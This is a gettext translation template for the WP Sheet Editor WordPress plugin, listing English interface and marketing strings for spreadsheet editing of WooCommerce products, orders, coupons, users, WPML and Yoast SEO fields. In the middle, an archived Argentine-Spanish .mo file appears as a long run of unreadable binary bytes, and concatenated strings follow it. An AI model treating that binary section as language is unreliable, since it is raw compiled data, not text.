                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:272 msgid "WooCommerce Orders Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:275 msgid "

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:286 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:289 msgid "

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:300 msgid "Custom Database Tables Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:303 msgid "

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:315 msgid "Easy Digital Downloads Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:318 msgid "

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:329 msgid "Events Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:332 msgid "

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:343 msgid "Give Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:346 msgid "

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:357 msgid "Display the spreadsheet editor in the frontend" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:360 msgid "

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:370 msgid "WooCommerce - Products Integration" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:373 msgid "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:382 msgid "Custom post types" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:385 msgid "

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:392 msgid "Columns renaming" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:395 msgid "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:396 #: wp-sheet-editor/dev/wp-sheet-editor.php:408 #: wp-sheet-editor/dev/wp-sheet-editor.php:501 #: wp-sheet-editor/dev/wp-sheet-editor.php:529 msgid "Install for Free" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:404 msgid "YOAST SEO" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:407 msgid "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:416 msgid "Advanced Search" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:419 msgid "

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword \"Google\" without image gallery.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:426 msgid "Formulas" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:429 msgid "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:436 msgid "Math Formulas" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:439 msgid "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, \"Regular price x Inventory / Sales price

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:446 msgid "Advanced Custom Fields" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:449 msgid "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:456 msgid "Edit Custom Fields in Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:459 msgid "

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:466 msgid "Edit Posts and Pages in Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:469 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:477 msgid "WooCommerce - BASIC integration" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:480 msgid "

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:488 msgid "Columns visibility" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:491 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:497 msgid "Autofill cells" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:500 msgid "

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:508 msgid "Basic search" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:510 msgid "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:518 msgid "Columns resizing" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:520 msgid "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:526 msgid "Duplicate (Tool)" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:528 msgid "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:542 msgid "Everything you need for All Posts Types and Products" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:549 #: wp-sheet-editor/dev/wp-sheet-editor.php:562 msgid "Buy bundle" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:555 msgid "Everything you need for Users and Customers" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:684 msgid "" "

                  WP Sheet Editor

                  \r\n" "

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  \r\n" "
                    \r\n" "
                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. \r\n" "
                  3. When you purchased the plugin, you received an email with the download link and license key
                  4. \r\n" "
                  5. Now go to this page and click on the \"Upload\" button at the top
                  6. \r\n" "
                  7. Upload the premium zip file
                  8. \r\n" "
                  9. Activate the plugin
                  10. \r\n" "
                  11. You will see a screen asking for a license, enter your license key
                  12. \r\n" "
                  13. Done. Now you should see the welcome page where you can set up the plugin and start using it
                  14. \r\n" "
                  \r\n" "

                  If you need help, you can contact us

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:1060 msgid "Quick Answers" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:1061 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:1065 msgid "Guides and Tutorials" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:1066 msgid "We have +200 tutorials and guides on our blog" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:1071 msgid "Get instant help in the live chat + email support during business hours" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:1108 msgid "WP Sheet Editor Usage" msgstr "" #: wpml/inc/post.php:205 #: wpml/inc/term.php:74 msgid "WPML - Missing translations in these languages" msgstr "" #: wpml/inc/post.php:205 msgid "For example, select \"Spanish\" and \"German\" here and we'll find products that don't have spanish translations or german translations." msgstr "" #: wpml/inc/post.php:442 #: wpml/inc/term.php:208 msgid "WPML - Duplicate" msgstr "" #: wpml/inc/post.php:450 #: wpml/inc/term.php:216 msgid "Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped." msgstr "" #: wpml/inc/post.php:462 #: wpml/inc/term.php:189 msgid "WPML - Translation of" msgstr "" #: wpml/inc/post.php:481 msgid "WPML - Relationship" msgstr "" #: wpml/inc/post.php:492 msgid "Duplicate from the main language" msgstr "" #: wpml/inc/post.php:493 msgid "Translate separately" msgstr "" #: wpml/inc/post.php:508 #: wpml/inc/term.php:228 msgid "WPML - Language" msgstr "" #: wpml/inc/post.php:519 #: wpml/inc/term.php:242 msgid "You can change the language of this post. If the translation for the new language exists, this change will not be applied." msgstr "" #: wpml/inc/post.php:531 msgid "WPML - Translation priority" msgstr "" #: wpml/inc/term.php:74 msgid "For example, select \"Spanish\" and \"German\" here and we'll find terms that don't have spanish translations or german translations." msgstr "" #: yoast-seo/yoast-seo.php:27 msgid "Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin \"" msgstr "" #: yoast-seo/yoast-seo.php:241 msgid "SEO Title" msgstr "" #: yoast-seo/yoast-seo.php:263 msgid "SEO Description" msgstr "" #: yoast-seo/yoast-seo.php:281 msgid "SEO Keyword" msgstr "" #: yoast-seo/yoast-seo.php:302 msgid "SEO FB title" msgstr "" #: yoast-seo/yoast-seo.php:318 msgid "SEO FB description" msgstr "" #: yoast-seo/yoast-seo.php:334 msgid "SEO FB image" msgstr "" #: yoast-seo/yoast-seo.php:352 msgid "SEO TW title" msgstr "" #: yoast-seo/yoast-seo.php:368 msgid "SEO TW description" msgstr "" #: yoast-seo/yoast-seo.php:384 msgid "SEO TW image" msgstr "" #: yoast-seo/yoast-seo.php:402 msgid "SEO Canonical URL" msgstr "" #: yoast-seo/yoast-seo.php:424 msgid "SEO No Index" msgstr "" #: yoast-seo/yoast-seo.php:452 msgid "SEO" msgstr "" #: yoast-seo/yoast-seo.php:477 msgid "SEO Primary %s" msgstr "" modules/wp-sheet-editor/lang/vg_sheet_editor-es_AR.mo000064400000640304147600365160016672 0ustar004)\S o>!oS`ooPzpvpBqZqqqqqqMqG r.RrrMrrsBt*uuYuVvKw'OwpwwwDpxyz{|}p7}}BNw2L`Jt^Lj&0XBkJM.JFMNl @5v2Ҙb{~x)mߞMm!ѡ]/D/tĢţգݣ"$HAB2u}0 #1ASdw^UG#e@;[,{ƨ/ܨ( ,5b$z\V:A<=~/=5*%`ì=Ԭ :;v}a,2FMy9Ǯ*<Rgv gG`o ϱH ^k  =IJ 9$^R%\xշQȿ*d u !* 1"?`bH% 6@Z r !$( . < J U3aJ.  *&@g a"/5 es.| R.+)ZH-&)nP(1>*!i1 * 6) `lu" % DP U `n~ w{p) ! 38@ y 00- R8 (" 3#T2xL^+W&7-.@H3S"J*m. !7 A&24&[ds   * : GQ HR c 4  w4 "!#)((R{[Fm2  &@ U:c612 CM S aov  5*9M( Z*+j-OQ- ,n!.4'c(.O$~(kqCbD,WJ\y01K\^ :45+jd  !&7> Y6g  ,)@O^dw ; Y2  yWcW5@& &3NVg7xGF? P \g o z W 2(.+W++&& /) &Y :  ' % 8& _ ?v j i!  ` u e n E[ n bs1$#   $#:^wu{i} D_'Q*y46 #- = HT k x t '/> E P\ty~2   Q hv { *,( ( 6Ca>pW6:>y*@ <FK[yZ7' _m  ;# (  .  9 F ` e y     #  ! !%!*!-!=!V!(k!q!"@" \" h",u" ""+"#%|&&$&&&&!&' (8((,(e)&)))))* *** (* 5*A*G*N*b*Ck***'* *<+bC+(++1l,C,/,:-eM---+-".;.7.k.sg/// /#/#!0 E0O0j0 00 0'00000 11 11&1X1*k111 1 1 1 222%2.2 2 2 3+3E3uX33,3, 4.:4.i4-4A4A5!J5!l5"555$5 6"666 66 6$7477s8<9rA99 999G9A:%J:p:":: ::z:;F;v;;;/< H<S<W<i<y< < < < <<< < < <= = = = .=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ% B0Ws˹Tyy ̻XLY-Լ^G*\EͿeL'[e |@8T)\s2Q^kW(|9iEmWCk\U B/+[EZ'@&-CqXA~#1lU `0V-$$ -!,@Wm2W & 0Gx # $-dRc "<_}<%"&*E;p#9=)9g 2vl{CGHOP=RJ1)|% XU(]HZ!3|?`CQ3 LVL Y1s #$6>^S&   - UM     h z WD>*2vR !y"B#S$n%%%%% % %%&/& J&U&^&2w&r&!'?'ZG'' '$'' (#(@( Y((f(3(( ((()),)>>)U})2)**8*9S******o*k+B++ +;+ *,7, N, X,`b,2,/,K&-r--.-/-o..q..0.I.#./8R/ /4/!//80;0K0R0;j0#00001#11 U1-a111 1 1 11#11 2 )262K2c223'4 C4O4d4~4:45 555=6 D6 P6]66x6?6B6U277 77,747,!89N8<838H8iB9~95+:+a:@:*:7:!1;QS;G;P;1>= p=~=5?5Q?5?? ?-?G@W@#@9A@KA AAAAAABB2BNBmBBBB B B+BDD"&DIDiD D2DDDDE E*EEE E E4 G2AG<tG<GGHQISIAdIIII*IJ1JH@J?J3J J>K FKPKdKwK KKK$KKL LQ:LLLLL}M7M1MmN nN9zN NNFOO|Pb@QRgR%S:S#T2T5ET{T}UU-U+U(V9V+V)W,0W]WxWXrXC YBOYYY7ZZ[a[H\"\\)\8\<\#]VC]h] ^> ^L^'Q^y^;^2^k_ l_v____#____A_9`S`o` `(`A`+`*a;aLaRamaaaaaIab'bEb|dbcc dd3dIdemkf]f7gg?hXOi i5iij j *j+4j`jij{j>jbjP.kk kkkk kkk llkllCm.o2Io|oo>o<o0p-?p1mp1p.p>q1?q?qq q&q@q8:rsrNrrZsshsPttouIu:vvS<ψ7#8%^Pd ۊ '/8Ff&@ Ne G'#+O W co&؍/;@R  Ď ǎ0#T!I Yf4z Wܐ4J%1W+Z *n-L̗":<kw>"=Y$w ™ ϙݙ CTqDxY͚l'.Û7}V4 cAz" ,C5p'ΞH]J ʠԠ #%*I t~ *ʡӡ  #01b4y!Т" ,>OV_L ] kFyۤb2v2:ܥ<6TTV173i.*̧.@_%$ 6.A1p)yInSɬ .)X0pحݭ?a*0@Lʯ1BRp  ̰!!9[-{.ر.-3Da$.˲)> ]5j$ųZԳ/6N'd 0" ,-"Z}{QKd(ٶ&")Is .ҷNN=E!A Zgw4$/:*j  ú/Iݻmp޾hc̿Կ. No3-#$6[v }A5  $@eRSl&Q9 ISY6s4sJ gtW+WYPmF_=p:6&qzYm;Z*N($Fk*!"6DT{xIT\! |,$&%'CbS1O0/B6-yZy||UyOT`n(bOzJT1BK'R[;zmwrGXLXFn+L4F)Fp_ 9(bQ' y22M-^AT+#O34<q+C1=:x2~   !. 6 BO_v +h Uv.`~xGj':bP68o;   S| 7    ^`@DQ;y=;6 >HCeI!5?R<M2:@mHKbi-iX!km""s#3%&'(#T)x)"))b)%*8*A*R*!d*&****+**+C+Y+l++.!.?=.}.E.. ...I.Y>//u?00c11.1@1S2Of2$2b2O>3f3F30<47m4:4:4158M57555N5^C6x6f7j777*%8P909-:@:Q';y<g=e>cg>K>?? ?? ?#?8@"O@Qr@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk edits.

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes have been scheduled. You can close this popup. View scheduled changes.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The export has been scheduled. You can close this popup. View scheduled exports.

                  The import has been scheduled. You can close this popup. View scheduled imports.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereACF: Show checkboxes as multi select dropdowns?Accept post from this post typeAccept terms from this taxonomyActionActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add html classes to the "post status" cells based on their values?Add newAdd new columnAdd new post typeAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the rows from my current searchAll the variable productsAllowAllow backordersAllow line breaks in values during the export and import processAllow multiple files per field?Allow multiple posts per field?Allow multiple terms per field?Allow safe html in post titles?Allow to edit this column on variation rows?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow to see the variation URL slug?Allow users with the capability unfiltered_html to save any html in the post content column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlready downloadedAlternative textAlways run the save_post action after any post row is edited?And more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsAre you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Are you sure you want to delete this columns view?Are you sure you want to delete this scheduled job and all its related files?Attach every taxonomy term in the hierarchy to the posts?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto (Default)Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Backwards compatibility. This setting will be removed in future updates.Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent 